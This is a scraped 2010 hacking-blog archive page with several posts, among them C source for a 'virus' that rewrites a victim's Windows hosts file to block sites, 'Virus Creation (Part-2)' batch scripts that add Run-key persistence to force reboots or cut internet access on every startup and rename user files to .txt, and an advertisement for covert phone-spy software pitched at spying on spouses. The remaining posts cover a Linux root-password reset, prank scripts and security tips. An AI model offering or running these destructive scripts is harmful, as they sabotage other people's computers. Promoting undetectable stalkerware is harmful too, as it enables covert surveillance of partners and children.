Paid To Popup Hacking Articles: May 2010

A Virus program to block websites


Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post


Here is the sourcecode of the virus
.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?
compile the program.


Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites.

So Enjoy The Hack.....

How to reset Linux forgotten root password

Too forgetful or too much security enforcements that have caused you to lost a Linux root password, as most of the time you’re forced to use sudo command for daily admin tasks?

Don’t be so much worry or regret, as you might able to easily reset a Linux lost password in a short while!
I’ve personally tested this Linux trick in Red Hat Linux 9 default installation environment. So, I believe the same trick can be applied on most Linux distribution as well.
A step-by-step Linux password hacking trick – How to reset Linux forgotten root password?

Reboot the Linux machine by pressing the hardware reset button. In a default Linux installation, pressing CTRL + ALT + DEL hotkey might able to reboot Linux immediately too.

Upon Linux booting up to GRUB loader GUI, move the arrow key up/down to highlight and select the Linux kernel and press e to edit the GRUB commands before booting:

A visual step-by-step Linux guide to reset forgotten root password.

Next, move the arrow key up/down to select the Linux kernel and press e again:

A visual step-by-step Linux guide to reset forgotten root password.

Append a single space followed by the word single at the end of edited line, as shown in this snapshot:

A visual step-by-step Linux guide to reset forgotten root password.

After pressing ENTER key, you should now have a similar GRUB screenshot as of follow. Keep the Linux kernel highlighted and press b to boot up with the “single” keyword, which will boot Linux into single user maintenance mode:

A visual step-by-step Linux guide to reset forgotten root password.

Once the Linux boot up completely into single user maintenance mode, the Linux command prompt is ready to execute command. Now, you can type passwd to reset the forgotten root password – without prompting for old root password, just type a new root password and re-type to confirm:

A visual step-by-step Linux guide to reset forgotten root password.

Done. Type reboot or exit to reboot. On next boot up, you can login with the new root password!
So, isn’t it easy to hack or reset a forgotten root password in Linux? Yes, this Linux trick works well on Red Hat Linux Enterprise Linux 4 too. However, bear in mind that the trick will only valid for a default Linux installation or without strengthening Linux security!

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Why antivirus is dead and 5 ways to protect your computer today

I’m going to get straight to the point here. Anti-virus is dead. 
 
Well, maybe I shouldn’t say dead, because there are still some people that use it. Back in the early 2000’s, almost everyone had anti-virus software, and viruses and trojans were as plentiful as dandelions. However it seems now that mostly everyone who is at all tech-savvy are turning away from anti-virus, which leaves the demographic mostly to people who are confused and misinformed.


Don’t get me wrong, doing a quick scan once a week is a great idea, but running active-scanning software such as Norton on your computer 24/7 just decreases computer performance. Moreover, wouldn’t it make more sense to try to prevent getting viruses in the first place, instead of just trying to catch them before they do damage? Because we all know that some viruses can bypass or disable your AV software, until you download the latest patch. So what do you do when your anti-virus misses something? Well, you’re pretty much screwed. For anyone who has any computer knowledge, here are some great ways to protect your computer more efficiently, more effectively, and less costly than standard AV software.


1. Use a firewall. Firewalls are virtual defenses around your computer that monitor and regulate what can or cannot access the internet from your computer, and vice versa. You will have to grant access to all your standard programs, but after that, your firewall will not bug you unless it notices something new attempting to access the internet. Which means if you ever get a virus that tries to send out your private information, or call to other viruses to join the party, they will run straight into a brick- I mean firewall. A great free firewall program is ZoneAlarm Free. ZoneAlarm comes packed with great features, one of them being an “Internet Off” button, that you can press to bring your computer into lock-down mode if you suspect a virus is lurking about.


2. Use safe download sites. When possible, download your software from a spyware and virus-free site such as Download.com Softpedia, or FileHippo. Avoid downloading files from P2P programs, or shady download sites such as www.123easyfreeware.cz. Even downloading software from the developer’s site could be dangerous.



3. Look for obvious signs of a virus. Be careful when running all exe files, especially setup.exe, which viruses are notorious for disguising themselves as. Verify file sizes as well. If you download any program, it will likely be multi-megabytes in size. Opening an exe with 500kb is very risky.

4. When in doubt, Sandbox it! Sandboxie is a great tool that lets you run any files in a virtual hard-drive which is completely quarantined from your regular files. So if the file is a virus, or something bad happens, you can simply delete the sandbox, and it is like nothing ever happened.


5. Regularly create disk images of your HD. Using paid software such as Acronis TrueImage or Norton Ghost, you can easily create “image” files of your hard drive, which allows you to restore your entire drive easily in the event of a fatal virus or bug. This saves countless hours in the event of having to reformat your computer, but it is quite costly, requiring you to buy the software and also an external backup drive to store the images.


6. Run regular malware scans. Monthly, or preferably weekly, you should run an AV scan, spyware scan, and disk cleaner scan. This is vital to keeping your system in tip-top shape. I recommend using Spybot S&D, as well as CCleaner along with your AV scanner of choice.

Guessing Game in C


This is a small guessing game written in C.In this guessing game you have to guess a number between 0 & 100.You have 8 chances to do that.Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low.Based on this hint you have to guess the number in the remaining attempts.Here’s the code
 
#include
#include
#include
void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

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Virus Creation (Part-2)


(1)Shutdown computer everytime it is turned on
(save as hshutdown.bat)

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE


(2)Disable internet permanently
(save as hinternet.bat)

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE


(3)Change files to non-working TXT files
(save as txt.bat)

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
 

Prank Orkut & Facebook Hack Tricks


Howdy,In this post I will show you how to make your friend fool using some cool javascripts.Let we started with Prank Orkut Hack

Script To Hack Orkut


Alright this is not what you think it is just a prank to play with your friends, just pass them the followint javascript and what they will see is just a message that their account is being hacked, Old trick but always work for a good laugh.
Tell your friends to do the following only, you can yourself also try, as i said this is not a hacking script.

  1. Paste the following script in the Address Bar (Address Bar is where you type website addresses)
  2. and press enter thats it.
javascript:function reverse() { var inp = "  hsetih yb dekcah si tnuocca tukro ruoy  "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse();

Script To Hack FaceBook


Alright this is not what you think it is just a prank to play with your friends, just pass them the followint javascript and what they will see is just a message that their account is being hacked, Old trick but always work for a good laugh.
Tell your friends to do the following only, you can yourself also try, as i said this is not a hacking script.

  1. Paste the following script in the Address Bar (Address Bar is where you type website addresses)
  2. and press enter thats it.
javascript:function reverse() { var inp = "  hsetih yb dekcah si tnuocca koobecaf ruoy  "; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}alert(outp) ;}; reverse(); 

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How to protect an Email Account from being Hacked


Today in this post I’ll teach you how to protect your email account from being hacked. Nowadays I get a lot of emails where most of the people say “My Email account is hacked please help…”. Now one question which arises in our mind is:”Is it so easy to hack an Email Account? OR Is it so difficult to protect an email account from being hacked?”. The single answer to these two questions is “Absolutely NOT!”. It is neither easy to hack an email nor difficult to protect an email account from bieng hacked.

If this is the case, then what is the reason for many people to loose their accounts?

The answer is very simple. They don’t know how to protect themselves from being hacked! In fact most of the people who loose their email accounts are not the victims of hacking but the victims of Trapping. They loose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.

Are you confused? If so continue reading and you’ll come to know…
Now I’ll mention some of the most commonly used online scams which fool people and make them loose their passwords. I’ll also mention how to protect your email account from these scams.

1. WEBSITE SPOOFING

Website spoofing is the act of creating a website, with the intention of misleading the readers. The website will be created by a different person or organisation (Other than the original)especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.
For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website. So most of the people believe that it is the original site and loose their passwords. The main intention of spoofed websites is to fool users and take away their passwords. For this,the spoofed sites offer fake login pages. These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc. Since it resemble’s the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts.
Solution:
  • Never try to login/access your email account from the sites other than the original site.
  • Always type the URL of the site in the address bar to get into the site.Never click on the hyperlink to enter the site.
2. BY USING KEYLOGGERS

The other commonly used method to steal password is by using a Keylogger. A Keylogger is nothing but a spyware. The detailed description of keylogger and it’s usage is discussed in the post Hacking An Email Account. If you read this post you’ll come to know that it is too easy to steal the password using a keylogger program. If you just access your email account from a computer installed with keylogger, you definitely loose your password. This is because the keylogger records each and every keystroke that you type.

Solution:

Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly. This keeps your PC secure from a keylogger. Also there is a program called AntiKeylogger which is specially designed to detect and remove keyloggers. You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.

3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES

Do you access your email from cyber cafes?  Then definitely you are under the risk of loosing your password.In fact many people loose their email account in cyber cafes. For the owner of the cyber cafe it’s just a cakewalk to steal your password. For this he just need’s to install a keylogger on his computers. So when you login to your email account from this PC, you give away your password to the cafe owner. Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.
This doesn’t mean that you should never use cyber cafes for browsing the internet. I know, not all the cyber cafe owners will be so wicked but it is recommended not to use cafes for accessing confidential information. If it comes to the matter of security never trust anyone, not even your friend. I always use my own PC to login to my accounts to ensure safety.

So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked. Please pass your comments…


How to spy on Cell Phones


Need to spy on a cell phone? Do you want to secretly spy on SMS, calls, GPS locations and other confidential info of your child’s or spouse’s cell phone? Well here is a simple and foolproof solution to spy on cell phones with the World’s Most Powerful Cell Phone Spy software from SpyEra!

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Spy Phone GOLD Top Features:
  • Call Interception – Listen to the actual calls LIVE on the target cell phone
  • Environment Listening – Make a spy call to the target phone running SPY PHONE and listen in to the phone’s surroundings.
  • SMS Logging – Records both incoming & outgoing SMS
  • SIM Change Notification – Get instant notification via SMS when the target cell phone changes it’s SIM
  • Remote Control – Send secret SMS to the target phone to control all functions
  • Spy from any location accross the world
  • 100% Undetectable
Spy Phone GOLD is the only cell phone spy software to offer a wide range of features which is 100% undetectable.

How it Works?
 
The working of Spy Phone GOLD is very simple and needs no extra knowledge to install and use.
Step 1- After you purchase Spy Phone GOLD, you can directly download the spy software onto the target cell phone and installation takes only a few minutes (Approx. 10 Min). No More physical access to the cell phone is required after installation!
Step 2- After installation, SPY Phone secretly records events that happen on the target phone and delivers this information to a web account, where you can view these reports 24×7 from any Internet enabled computer or mobile phone.

Compatible Cell Phones
Spy Phone is fully compatible with the following mobile phones
  1. BlackBerry Phones
  2. Android Phones
  3. Apple iPhones
  4. Windows Mobile Phones
  5. Symbian OS 9.x and 8.x phones
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Why Spy Phone GOLD?
There exists many cell phone spy softwares on the market and hence people often get confused about which cell phone spy software to go for. To make this job simpler for you we personally tested some of the top cell phone spy softwares and based on the results we conclude Spy Phone GOLD as be the best one.
Spy Phone GOLD is one of the best and award winning cell phone spy software on the market with an affordable price. Spy Phone GOLD needs no extra knowledge to install/use and hence it becomes just a cakewalk to spy on your favorite cell phone! Today with an excessive usage of cell phones by many teenagers it becomes necessary for their parents to perform cell phone spying.

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